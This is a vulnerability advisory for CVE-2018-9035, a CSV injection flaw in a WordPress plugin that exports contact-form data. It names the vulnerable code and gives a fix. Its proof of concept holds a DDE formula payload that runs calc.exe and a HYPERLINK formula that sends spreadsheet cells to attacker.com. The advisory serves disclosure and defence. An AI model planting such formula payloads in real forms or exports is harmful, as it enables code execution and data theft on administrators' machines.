WordPress Contact Form 7 To Database Extension 2.10.32 CSV Injection

`# Exploit Title : Contact Form 7 to Database Extension Wordpress Plugin CSV Injection  
# Date: 23-03-2018   
# Exploit Author : Stefan Broeder  
# Contact : https://twitter.com/stefanbroeder  
# Vendor Homepage: None  
# Software Link: https://wordpress.org/plugins/contact-form-7-to-database-extension  
# Version: 2.10.32  
# CVE : CVE-2018-9035  
# Category : webapps  
  
Description  
===========  
Contact Form 7 to Database Extension is a WordPress plugin with more than 400.000 active installations. Development is discontinued since 1 year. Version 2.10.32 (and possibly previous versions) are affected by a CSV Injection vulnerability.  
  
Vulnerable part of code  
=======================  
File: contact-form-7-to-database-extension/ExportToCsvUtf8.php:135 prints value of column without checking if it contains a spreadsheet formula.  
  
Impact  
======  
Arbitrary formulas can be injected into CSV/Excel files.   
This can potentially lead to remote code execution at the client (DDE) or data leakage via maliciously injected hyperlinks.  
  
Proof of Concept  
============  
In order to exploit this vulnerability, the attacker needs to insert an Excel formula into any of the contact form fields available. This will end up in the log, and if a WordPress administrator chooses to export this log as Excel/CSV file, the file will contain the formula. If he then opens the file, the formula will be calculated.   
  
Example:  
  
=cmd|'/C calc.exe'!Z0  
  
or  
  
=HYPERLINK("http://attacker.com/leak?="&A1&A2, "Click to load more data!")  
  
  
Solution  
========  
  
The plugin should escape fields starting with '=' when it exports data to CSV or Excel formats.  
  
`